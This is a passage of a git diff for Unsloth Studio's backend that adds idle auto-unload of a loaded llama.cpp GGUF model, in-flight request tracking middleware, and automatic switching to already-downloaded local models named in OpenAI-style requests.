Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model. + +Off by default (idle seconds = 0). When enabled, a background loop unloads the +loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A +pure-ASGI middleware tracks in-flight inference requests so a long stream that +outlives the TTL is never unloaded mid-response. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time + +from loggers import get_logger + +logger = get_logger(__name__) + +_lock = threading.Lock() +_inflight = 0 +# Requests blocked on the unload gate but not yet counted in _inflight: the idle +# loop must not unload while one is waiting (it would unload out from under it). +_pending = 0 +_last_active = time.monotonic() +# The (id, quant) idle-unload last freed, so an alias/unknown request that would +# otherwise 503 against an empty backend can reload it (set on unload, cleared on +# reload). Storing the quant means the reload restores the exact freed variant. +_last_unloaded_model = None +# Guards inflight bumps against the idle-check-then-unload race, and blocks new +# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is +# shared across every event loop in the process, so a per-loop gate would let a +# request on loop B start inference while a swap on loop A tears the model down. +_lifecycle_lock = threading.Lock() + + +@contextlib.asynccontextmanager +async def _unload_gate(): + # Acquire off the loop: non-blocking first (the common uncontended case), else + # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this + # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is + # not held, so it never leaks (mirrors the auto-switch swap gate). + while not _lifecycle_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + try: + yield + finally: + _lifecycle_lock.release() + + +_INFERENCE_PREFIXES = ("/v1/", "/api/inference/") +_INFERENCE_SUFFIXES = ( + "/chat/completions", + "/completions", + "/messages", + "/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages + "/embeddings", + "/responses", + "/generate/stream", # Studio's own streaming route on the same llama-server + "/audio/generate", # direct GGUF TTS; can outlive the idle TTL +) + + +def _is_inference_path(path: str) -> bool: + if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES): + return True + # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the + # chat handler and streams from the same backend, so protect it from idle unload. + return path.startswith("/p/") and path.endswith("/v1/chat/completions") + + +def _note_pending() -> None: + global _pending + with _lock: + _pending += 1 + + +def _note_unpending() -> None: + global _pending + with _lock: + _pending = max(0, _pending - 1) + + +def _note_start() -> None: + # Do not stamp _last_active here: while _inflight > 0 the model is already + # protected (see _is_idle), and stamping on start lets an external-provider + # request that is later untracked still reset the local idle timer. + global _inflight, _pending + with _lock: + _pending = max(0, _pending - 1) + _inflight += 1 + + +def _note_end() -> None: + global _inflight, _last_active + with _lock: + _inflight = max(0, _inflight - 1) + _last_active = time.monotonic() + + +def _note_untracked_end() -> None: + # Drop a request that never used the local GGUF without stamping local + # activity, so periodic external-provider traffic can't keep the model warm. + global _inflight + with _lock: + _inflight = max(0, _inflight - 1) + + +def _is_idle(ttl_seconds: float) -> bool: + with _lock: + return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds + + +def _note_activity() -> None: + """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL.""" + global _last_active + with _lock: + _last_active = time.monotonic() + + +def other_inference_request_count( + current_request_counted: bool = True, *, include_pending: bool = True +) -> int: + """Tracked inference requests other than the current route call. + + The middleware counts OpenAI-compatible requests before route code runs, so + the caller is excluded by default. Idle-unload counts pending waiters too (a + swap holding the gate would unload out from under them). The swap guard passes + include_pending=False: a pending request is blocked in the middleware and has + not started inference, so it can't be the request a swap would interrupt. + """ + with _lock: + active = _inflight + if current_request_counted and active > 0: + active -= 1 + return max(0, active) + (_pending if include_pending else 0) + + +# Set on the ASGI scope by a route that proved this request won't touch +# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count +# excludes it and the middleware skips its own end-decrement. +_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked" + + +def untrack_current_request(scope) -> None: + """Drop this request from the in-flight count once the route knows it won't + use the local GGUF, so unrelated external-provider traffic can't trip the + swap busy guard. Idempotent; the middleware then skips its end-decrement.""" + if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY): + return + scope[_UNTRACKED_SCOPE_KEY] = True + _note_untracked_end() + + +def inference_lifecycle_gate(): + """The gate a model swap holds so new inference can't start mid-load. Process- + wide, so a swap on one loop blocks inference starting on any other loop.""" + return _unload_gate() + + +def note_model_loaded() -> None: + """Record a successful GGUF load: stamp activity and drop any reload stash so + a manual load clears it synchronously, not only on the next idle poll.""" + _note_activity() + _set_last_unloaded(None) + + +def note_model_unloaded() -> None: + """Record a deliberate (user/API) unload: drop any idle reload stash so the next + request can't resurrect the just-unloaded model. The idle loop unloads via the + backend directly and then stashes the freed model for an alias reload; an + explicit unload instead means "stay unloaded", so it must not stamp activity.""" + _set_last_unloaded(None) + + +def get_last_unloaded_model(): + with _lock: + return _last_unloaded_model + + +def _set_last_unloaded(value) -> None: + global _last_unloaded_model + with _lock: + _last_unloaded_model = value + + +class LlamaKeepWarmMiddleware: + """Pure ASGI: count in-flight inference requests and stamp activity on completion.""" + + def __init__(self, app): + self.app = app + + async def __call__(self, scope, receive, send): + # Inference endpoints are all POST; skipping non-POST avoids counting CORS + # preflight (OPTIONS). ``or ""`` guards an explicit None path. + if ( + scope.get("type") != "http" + or scope.get("method") != "POST" + or not _is_inference_path(scope.get("path") or "") + ): + await self.app(scope, receive, send) + return + # Always track in-flight on inference paths, even when the feature is off, + # so a stream that starts before idle-unload is enabled can't be unloaded + # mid-response if the operator turns it on during that stream. Counting is + # cheap and invisible to clients (the response is proxied unchanged). + # Mark pending before the gate so the idle loop (which holds the gate while + # unloading) can't free the model while this request is waiting to start. + _note_pending() + started = False + try: + async with _unload_gate(): + _note_start() + started = True + finally: + if not started: + _note_unpending() + ended = {"done": False} + status = {"code": None} + + def _finish() -> None: + # A route that untracked itself already decremented; don't double-count. + if ended["done"]: + return + ended["done"] = True + if scope.get(_UNTRACKED_SCOPE_KEY): + return + # This middleware runs before FastAPI auth, so a 401/403 reaches here + # without ever touching llama.cpp. Decrement the in-flight count (to + # balance _note_start) but do NOT stamp activity, or repeated + # unauthenticated probes on an exposed server would keep the model warm + # and never let idle-unload free VRAM. + if status["code"] in (401, 403): + _note_untracked_end() + else: + _note_end() + + async def send_wrapper(message): + if message.get("type") == "http.response.start": + status["code"] = message.get("status") + # Final body frame marks the end of a (possibly streaming) response. + elif message.get("type") == "http.response.body" and not message.get( + "more_body", False + ): + _finish() + await send(message) + + try: + await self.app(scope, receive, send_wrapper) + finally: + _finish() + + +def _loaded_identity(backend): + if not backend.is_loaded or not backend.model_identifier: + return None + # Third slot is the advertised id (repo id) an auto-switch load sets on the + # backend; it's the override key, so an idle stash keyed by the concrete load + # path doesn't drop the user's saved launch flags on the alias reload. + advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier + return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised) + + +async def idle_unload_loop(poll_seconds: float = 15.0) -> None: + """Unload the loaded GGUF once idle past the configured TTL. Inert when off.""" + from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds + + seen_model = None + while True: + await asyncio.sleep(poll_seconds) + try: + ttl = get_auto_unload_idle_seconds() + if ttl <= 0: + continue + from routes.inference import get_llama_cpp_backend + + backend = get_llama_cpp_backend() + # Track by (id, variant): a (re)loaded model -- including the same repo + # at a different quant -- counts as activity so it survives one TTL + # before its first request (loads bypass the activity middleware). + current = _loaded_identity(backend) + if current != seen_model: + seen_model = current + if current is not None: + _note_activity() + _set_last_unloaded(None) # a model is loaded; drop stale stash + async with _unload_gate(): + if backend.is_loaded and _is_idle(ttl): + freed = _loaded_identity(backend) + await asyncio.to_thread(backend.unload_model) + _set_last_unloaded(freed) # let an alias request reload it + logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl) + seen_model = None + except Exception as exc: + logger.debug("idle_unload_loop iteration failed: %s", exc) diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py new file mode 100644 index 0000000000..002cafe2c8 --- /dev/null +++ b/studio/backend/core/inference/local_model_resolver.py @@ -0,0 +1,269 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF. + +Used by the opt-in auto-switch path. The match is conservative: only names +that map to an already-downloaded local GGUF (and a quant that is actually on +disk) are eligible, so an arbitrary OpenAI model string still falls through to +the loaded model (drop-in compat) and no surprise multi-GB download is ever +triggered. The local-model scan is cached for a few seconds since auto-switch +consults it per request. +""" + +from __future__ import annotations + +import threading +import time +from dataclasses import dataclass +from typing import Optional + +from core.inference.model_ids import public_model_id +from loggers import get_logger + +logger = get_logger(__name__) + + +@dataclass(frozen = True) +class _LocalGgufEntry: + loader_id: str # advertised id (repo id / folder name), also the override key + load_path: str # concrete on-disk dir/file passed to /load so it never downloads + variants: tuple[str, ...] # local quant labels; () for a standalone .gguf + + +_CACHE_TTL_S = 5.0 +_lock = threading.Lock() +_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {}) + + +def _is_abs_path_id(value: str) -> bool: + """True when an id is an absolute filesystem path (the ./models and LM Studio + scanners use the on-disk path as the id) rather than a repo id like org/name.""" + from pathlib import Path + try: + return Path(value).is_absolute() + except Exception: + return False + + +def _advertised_loader_id(info) -> Optional[str]: + """The id to advertise for a scanned model: prefer a client-facing alias over + an absolute filesystem path so /v1/models and the override key never expose a + host path (the ./models and LM Studio scanners report the path as info.id).""" + raw_id = getattr(info, "id", None) + if not raw_id or not _is_abs_path_id(raw_id): + return raw_id + for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)): + if alt and not _is_abs_path_id(alt): + return alt + # No clean alias: strip to a path-free public id so a host path is never advertised. + return public_model_id(raw_id) or raw_id + + +def _resolve_load_dir(p): + """The concrete dir holding the GGUFs. For an HF cache repo (``models--*`` + with ``snapshots/``) this is the latest snapshot dir, so /load takes the + local branch instead of the download-capable repo-id branch.""" + from pathlib import Path + + try: + if (p / "snapshots").is_dir(): + from routes.models import _resolve_hf_cache_realpath + real = _resolve_hf_cache_realpath(p) + if real: + return Path(real) + except Exception: + pass + return p + + +def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]: + """Build an entry only when GGUF quants are on disk (not Transformers/ + safetensors), listing only on-disk quants. ``load_path`` is a concrete local + path so /load resolves the variant locally and never fetches a remote one.""" + from pathlib import Path + from utils.models.model_config import _is_mmproj, list_local_gguf_variants + + path = getattr(info, "path", None) + if not isinstance(path, str): + return None + p = Path(path) + try: + if p.is_file(): + # A standalone .gguf loads by its own path; no quant sub-selection. An + # mmproj companion (vision/audio projector) is not a servable model on + # its own: _scan_models_dir's standalone-file pass does not filter it + # the way the directory scan does, so reject it here or /v1/models would + # advertise a projector and a switch could load it instead of the weights, + # evicting the loaded model. The directory branch below is already mmproj + # free (list_local_gguf_variants drops mmproj quants). + if p.suffix.lower() != ".gguf" or _is_mmproj(p.name): + return None + return _LocalGgufEntry(loader_id, str(p), ()) + load_dir = _resolve_load_dir(p) + variants, _ = list_local_gguf_variants(str(load_dir)) + quants = tuple(v.quant for v in variants if getattr(v, "quant", None)) + return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None + except Exception: + return None + + +def info_has_local_gguf(info) -> bool: + """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the + auto-switch path can load. Read from the files, not ``info.model_format``: the + HF-cache scanner leaves model_format unset for GGUF snapshots, so a + model_format filter would drop every cached GGUF. Lets /v1/models advertise + exactly what /v1 can serve.""" + from pathlib import Path + + path = getattr(info, "path", None) + # Ollama-link entries come from a scanner _build_index intentionally skips (it + # creates symlinks on the request path), so their advertised ids never resolve. + # Don't report them as servable, or /v1/models would list unswitchable models. + if isinstance(path, str) and any( + seg in (".studio_links", "ollama_links") for seg in Path(path).parts + ): + return False + return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None + + +def _build_index() -> dict[str, _LocalGgufEntry]: + """Map normalized id/model_id/display_name -> local GGUF entry. + + Scans the same roots Studio's model picker lists (./models, the active plus + legacy/default HF caches, LM Studio dirs, and user scan folders) so a named + local model is never missed and silently served as the loaded one. Ollama's + scanner is skipped: it creates symlinks as a side effect and this runs on the + request path. + """ + # Lazy import: routes.models imports core.inference, so import at call time. + from pathlib import Path + from routes.models import ( + _scan_models_dir, + _scan_hf_cache, + _scan_lmstudio_dir, + _resolve_hf_cache_dir, + _is_hidden_model, + ) + from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + + index: dict[str, _LocalGgufEntry] = {} + seen_hf: set[str] = set() + + def _scan_hf_once(directory) -> list: + if directory is None: + return [] + try: + d = Path(directory) + if not d.is_dir(): + return [] + rp = str(d.resolve()) + if rp in seen_hf: + return [] + seen_hf.add(rp) + return _scan_hf_cache(directory) + except Exception as exc: # a missing/malformed root must skip, never crash the index + logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) + return [] + + # Each source is guarded on its own so one bad root (a permission error, a + # malformed cache) drops only that source, not the whole index. + found: list = [] + try: + found += _scan_models_dir(Path("./models").resolve()) + except Exception as exc: + logger.debug("auto-switch: ./models scan failed: %s", exc) + try: + for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + found += _scan_hf_once(hf_dir) + except Exception as exc: + logger.debug("auto-switch: HF cache scan failed: %s", exc) + try: + for lm_dir in lmstudio_model_dirs(): + found += _scan_lmstudio_dir(lm_dir) + except Exception as exc: + logger.debug("auto-switch: LM Studio scan failed: %s", exc) + try: + from storage.studio_db import list_scan_folders + for folder in list_scan_folders(): + try: + fp = Path(folder["path"]) + found += ( + _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + ) + except Exception as exc: + logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) + except Exception as exc: + logger.debug("auto-switch: scan folders enumerate failed: %s", exc) + for info in found: + raw_id = getattr(info, "id", None) + if not raw_id: + continue + # Skip what Studio hides from its pickers (validation probe, RAG embed + # weights): not chat models, so never an auto-switch target. + if _is_hidden_model(raw_id, getattr(info, "path", None)): + continue + # Advertise a client-facing alias, not an absolute filesystem path. + loader_id = _advertised_loader_id(info) + entry = _local_gguf_entry(loader_id, info) + if entry is None: + continue + # Index every alias (including the path) so a client can resolve by any of + # them, even though only the non-path loader_id is advertised. + for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + if key: + index.setdefault(key.strip().lower(), entry) + return index + + +def _index() -> dict[str, _LocalGgufEntry]: + global _scan + # Build under the lock so concurrent callers with an expired cache don't all + # run the (multi-dir) scan at once; the rest wait and reuse the fresh result. + with _lock: + now = time.monotonic() + ts, cached = _scan + if now - ts < _CACHE_TTL_S: + return cached + fresh = _build_index() + # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on + # an install with many local models can itself exceed the TTL, which would + # store the cache already expired and make every request rebuild the index. + _scan = (time.monotonic(), fresh) + return fresh + + +def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]: + """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None. + + ``load_path`` is the concrete on-disk path to hand /load (so it never fetches + a remote), ``loader_id`` is the advertised id used as the launch-override key. + ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first + (so ids containing a colon still resolve); else the last ``:VARIANT`` is split + off and resolves only when that quant is on disk. + """ + if not isinstance(requested, str) or not requested.strip(): + return None + requested = requested.strip() + try: + index = _index() + entry = index.get(requested.lower()) + if entry is not None: + variant = entry.variants[0] if entry.variants else None + return entry.load_path, variant, entry.loader_id + + base, sep, variant = requested.rpartition(":") + if not sep: + return None + entry = index.get(base.strip().lower()) + if entry is None: + return None + wanted = variant.strip().lower() + for v in entry.variants: + if v.lower() == wanted: + return entry.load_path, v, entry.loader_id + return None + except Exception: + # Best-effort: any resolver failure falls through to the loaded model, + # so a malformed name can never turn a servable request into a 500. + return None diff --git a/studio/backend/main.py b/studio/backend/main.py index 8b8a5fe787..5402e5eb7b 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -532,6 +532,11 @@ async def lifespan(app: FastAPI): _start_helper_precache_if_enabled() threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() + # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). + from core.inference.llama_keepwarm import idle_unload_loop + + app.state.idle_unload_task = asyncio.create_task(idle_unload_loop()) + # Initialize RSA key pair for API key encryption (external providers). from core.inference.key_exchange import init_key_pair @@ -561,6 +566,14 @@ async def lifespan(app: FastAPI): ) yield + _idle_task = getattr(app.state, "idle_unload_task", None) + if _idle_task is not None: + _idle_task.cancel() + try: + await _idle_task + except asyncio.CancelledError: + pass + from core.inference.llama_http import aclose as _close_llama_http await _close_llama_http() @@ -883,6 +896,11 @@ app.add_middleware( upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes, ) +# Tracks in-flight inference requests for idle auto-unload; off -> passthrough. +from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402 + +app.add_middleware(LlamaKeepWarmMiddleware) + from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402 diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 9caacec61b..9d9db83543 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -19,6 +19,7 @@ import httpx from loggers import get_logger import asyncio import threading +import weakref import re as _re @@ -2266,6 +2267,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend: return _llama_cpp_backend +# Serializes opt-in auto-switch loads so two requests can't race a swap. One +# lock per running loop, since a module-level asyncio.Lock binds to a single +# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10). +_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_auto_switch_locks_guard = threading.Lock() + + +def _auto_switch_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two + # loops on different threads can't race it. + with _auto_switch_locks_guard: + lock = _auto_switch_locks.get(loop) + if lock is None: + lock = _auto_switch_locks[loop] = asyncio.Lock() + return lock + + +# Process-wide gate so a swap on another event loop in this process can't race +# this one for the single model slot: the asyncio lock above is per loop, but the +# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes +# across loops/threads; released from the loop thread (Lock allows cross-thread release). +_auto_switch_process_lock = threading.Lock() + + +async def _acquire_swap_gate() -> None: + # Non-blocking first for the common single-loop case; otherwise poll off a + # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread + # (client disconnect mid-wait) leaves its worker thread still acquiring, so the + # gate gets taken but the finally that releases it never runs -- deadlocking + # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a + # cancel lands during the sleep, when the gate is not held. + while not _auto_switch_process_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + + +# Counts in-flight auto-switch requests per (target, variant). The busy guard +# subtracts same-target waiters so concurrent requests for one model load once +# instead of each 409-ing the other. +_auto_switch_waiters: dict[tuple[str, str], int] = {} +_auto_switch_waiters_guard = threading.Lock() + + +def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]: + return (override_id.lower(), (variant or "").lower()) + + +def _note_switch_waiter(key: tuple[str, str], delta: int) -> None: + with _auto_switch_waiters_guard: + n = _auto_switch_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_waiters[key] = n + else: + _auto_switch_waiters.pop(key, None) + + +def _same_target_waiters(key: tuple[str, str]) -> int: + with _auto_switch_waiters_guard: + return _auto_switch_waiters.get(key, 0) + + +# A second waiter map keyed by the raw requested model, registered before the +# (slow) resolve. The middleware counts a concurrent same-model request as +# in-flight before it resolves and joins _auto_switch_waiters, so without this +# the first request would see it as an unrelated request and 409. +_auto_switch_request_waiters: dict[str, int] = {} +_auto_switch_request_waiters_guard = threading.Lock() + + +def _request_waiter_key(requested_model: str) -> str: + return requested_model.strip().lower() + + +def _note_request_waiter(key: str, delta: int) -> None: + with _auto_switch_request_waiters_guard: + n = _auto_switch_request_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_request_waiters[key] = n + else: + _auto_switch_request_waiters.pop(key, None) + + +def _same_request_waiters(key: str) -> int: + with _auto_switch_request_waiters_guard: + return _auto_switch_request_waiters.get(key, 0) + + +def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: + """The id to report for the loaded GGUF in API responses: the advertised repo + id from an auto-switch load, else the cleaned public id, never the on-disk + .gguf path (see core.inference.model_ids.public_model_id).""" + return ( + getattr(llama_backend, "_openai_advertised_id", None) + or public_model_id(getattr(llama_backend, "model_identifier", None)) + or public_model_id(fallback) + or fallback + ) + + +_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch" +# Sentinel a raw-body endpoint passes when the request omits ``model``: it must +# only restore an idle-freed model, never run the resolver (so a downloaded GGUF +# literally named "default" can't be swapped to). The NUL keeps it off any index. +_RELOAD_ONLY_MODEL = "\x00reload-only" + + +def _switch_model_for_payload(payload) -> str: + # A pydantic request fills an omitted ``model`` with "default"; only an + # explicitly set model may switch, else reload-only so a GGUF named "default" + # is never matched (mirrors the raw-body sentinel path). + return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL + + +def _target_is_vision(load_path: str) -> bool: + # A local GGUF's vision capability is its companion mmproj, a filesystem check + # (no model load). Matches the loaded backend's is_vision, so rejecting a swap + # here can't differ from the post-load guard. Thread the ambient HF token so the + # probe keeps the capability-probe invariant (the resolver only yields local + # paths, where the token is unused, but the rule requires it regardless). + from utils.models.model_config import is_vision_model + try: + return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN"))) + except Exception as exc: + # Detection failure: don't block the swap, let the load decide. + logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc) + return True + + +def _messages_have_image(messages) -> bool: + return any( + isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + for m in messages + ) + + +def _request_has_image(payload) -> bool: + if getattr(payload, "image_base64", None): + return True + return _messages_have_image(payload.messages) + + +def _anthropic_request_has_image(payload) -> bool: + # Mirror anthropic_messages_to_openai: an Anthropic image block carries + # ``type == "image"`` (typed AnthropicImageBlock or a raw dict). + for msg in getattr(payload, "messages", None) or []: + content = getattr(msg, "content", None) + if not isinstance(content, list): + continue + for block in content: + bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + if bt == "image": + return True + return False + + +def disable_openai_auto_switch_for_request(scope) -> None: + """Opt a request out of OpenAI auto-switch. The public preview route uses this: + it always serves its pinned checkpoint, so a caller-supplied model must never + swap the loaded model.""" + if isinstance(scope, dict): + scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True + + +def _automatic_model_load_may_run() -> bool: + """True when a request can trigger an automatic load: either resolver-based + auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The + validate-before-switch guards key off this so an invalid request never loads.""" + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + ) + return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0 + + +async def _maybe_auto_switch_model( + requested_model: Optional[str], + fastapi_request: Request, + current_subject: str, + *, + require_vision: bool = False, +) -> None: + """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on. + + No-op unless enabled and ``requested_model`` resolves to a downloaded local + model different from the loaded one. Unknown names fall through (drop-in + compat) and no remote download is triggered. ``require_vision`` rejects a swap + to a text-only target before it runs, so an image request can't evict the + resident vision model only to 400 afterwards. + """ + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + get_model_override, + ) + from core.inference.local_model_resolver import resolve_local_gguf + from core.inference.llama_keepwarm import ( + get_last_unloaded_model, + other_inference_request_count, + inference_lifecycle_gate, + ) + + # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as + # absent so it falls through instead of raising in the membership checks below. + if not isinstance(requested_model, str) or not requested_model: + return + # The public preview route opts out so a caller cannot switch away from the + # pinned preview checkpoint it just loaded. + scope = getattr(fastapi_request, "scope", None) + if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY): + return + auto_switch_on = get_openai_auto_switch_enabled() + # The reload-stash path also runs when idle-unload is active on its own (a + # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle + # loop freed is restored on the next request. The resolver-based switch still + # requires the auto-switch toggle. + if not auto_switch_on and get_auto_unload_idle_seconds() <= 0: + return + + # Register by the raw requested model before resolving (which can be slow): + # the middleware already counts a concurrent same-model request as in-flight, + # so the busy guard must know it shares this target even while it resolves. + request_key = _request_waiter_key(requested_model) + _note_request_waiter(request_key, 1) + try: + # Off the loop: a cold-cache rebuild walks several model dirs + HF caches. + # With auto-switch off (or an omitted-model reload-only request), skip the + # resolve so only the reload-stash path runs and no name is ever matched. + reload_only = requested_model == _RELOAD_ONLY_MODEL + resolved = ( + await asyncio.to_thread(resolve_local_gguf, requested_model) + if auto_switch_on and not reload_only + else None + ) + if resolved is None: + # Idle-unload may have freed the model; reload exactly what it freed + # (path + quant + advertised id) so an alias/unknown name stays servable + # and keeps the override keyed by the advertised id, not the load path. + last = get_last_unloaded_model() + # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload + # leaves the GGUF slot empty but is the live model, so don't resurrect + # the stale GGUF over it (that load would tear the active model down). + if ( + not last + or get_llama_cpp_backend().is_loaded + or getattr(get_inference_backend(), "active_model_name", None) + ): + return + if len(last) == 3: + target_id, variant, override_id = last + else: # pre-3-tuple stash: fall back to the path as the override key + target_id, variant = last + override_id = target_id + else: + # load_path is a concrete local path (never the bare repo id), so /load + # takes the local branch and cannot trigger a download. override_id is the + # advertised repo id, the launch-override key and the public model id. + target_id, variant, override_id = resolved + backend = get_llama_cpp_backend() + # A bare model id (no :VARIANT) is satisfied by any loaded quant of that + # repo, so it never reloads a different local quant that already serves it. + bare = ":" not in requested_model + + def _already_serving() -> bool: + # Match against both the concrete load path and the advertised repo id, + # so a model loaded manually by repo id (identifier = repo id) and one + # loaded by auto-switch (identifier = path, advertised = repo id) both + # count as already serving rather than triggering a needless reswap. + if not backend.is_loaded or not backend.model_identifier: + return False + loaded_keys = {backend.model_identifier.lower()} + advertised = getattr(backend, "_openai_advertised_id", None) + if advertised: + loaded_keys.add(advertised.lower()) + if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}): + return False + if bare: + return True + if variant: + loaded_variant = (getattr(backend, "hf_variant", None) or "").lower() + return loaded_variant == variant.lower() + return True + + def _record_serving_alias() -> None: + # When an advertised alias already resolves to the loaded model (e.g. a + # model loaded by local path, requested by its repo/LM Studio id), record + # the alias as the public id so /v1/models and responses report it (and + # mark it loaded) instead of the path-derived basename. Resolver branch + # only: the reload-stash override_id can be the bare path, not a repo id. + # Lock-free is safe here: an in-flight request blocks any concurrent swap + # (single-slot busy guard), so the loaded model can't change under this. + if resolved is None or not override_id: + return + b = get_llama_cpp_backend() + if getattr(b, "_openai_advertised_id", None) != override_id: + b._openai_advertised_id = override_id + + if _already_serving(): + _record_serving_alias() + return + # An image/audio request naming a different text-only GGUF would load it + # here and only 400 below, evicting the working model. Reject before the + # swap. Only the resolver branch (an explicit new target); the reload-stash + # path just restores the model the request was already using. Both vision and + # audio input come from a companion mmproj (a filesystem probe) -- run it off + # the loop, like the resolver above. + if ( + require_vision + and resolved is not None + and not await asyncio.to_thread(_target_is_vision, target_id) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "The requested model does not support the image or audio input in this request.", + status = 400, + code = "invalid_value", + param = "model", + ), + ) + key = _switch_key(override_id, variant) + _note_switch_waiter(key, 1) + try: + async with _auto_switch_lock(): + # The asyncio lock is per loop; add a process-wide gate so a swap on + # another loop in this process can't race the single slot. + await _acquire_swap_gate() + try: + # Hold the keep-warm gate across the swap so no new inference can + # start on the model while it is being torn down and replaced. + async with inference_lifecycle_gate(): + if _already_serving(): + _record_serving_alias() + return + # Single slot: refuse a cross-model swap while another inference + # request is active rather than killing its response. Requests + # heading to this same target (by resolved id or raw name) are + # excluded, so concurrent requests for one model load once. A + # pending request is still in the middleware, not generating, so + # it is not counted here. + same_others = max( + _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + ) + others = other_inference_request_count( + current_request_counted = True, include_pending = False + ) + # Not gated on the GGUF being loaded: _load_model_impl also + # tears down an active Unsloth backend before loading a GGUF, + # so refuse whenever any other inference request is in flight. + if others > same_others: + raise HTTPException( + status_code = 409, + detail = openai_error_body( + "Cannot switch models while another inference request is in progress.", + status = 409, + code = "model_switch_busy", + param = "model", + ), + ) + # Apply this model's saved launch flags so the swap honors the config. + override = get_model_override(override_id) + load_kwargs = {"model_path": target_id, "gguf_variant": variant} + if override.get("llama_extra_args") is not None: + load_kwargs["llama_extra_args"] = override["llama_extra_args"] + if override.get("max_seq_length") is not None: + load_kwargs["max_seq_length"] = override["max_seq_length"] + # Reuse the load impl so its dedup, tensor fallback, and threading + # apply. Call the impl directly: we already hold the lifecycle gate + # the /load route would otherwise take, so the route would deadlock. + await _load_model_impl( + LoadRequest(**load_kwargs), + fastapi_request, + current_subject, + ) + # Advertise the repo id (not the concrete load path) as the loaded + # model's public id and override key for /v1/models and idle stash. + get_llama_cpp_backend()._openai_advertised_id = override_id + finally: + _auto_switch_process_lock.release() + finally: + _note_switch_waiter(key, -1) + finally: + _note_request_waiter(request_key, -1) + + +async def 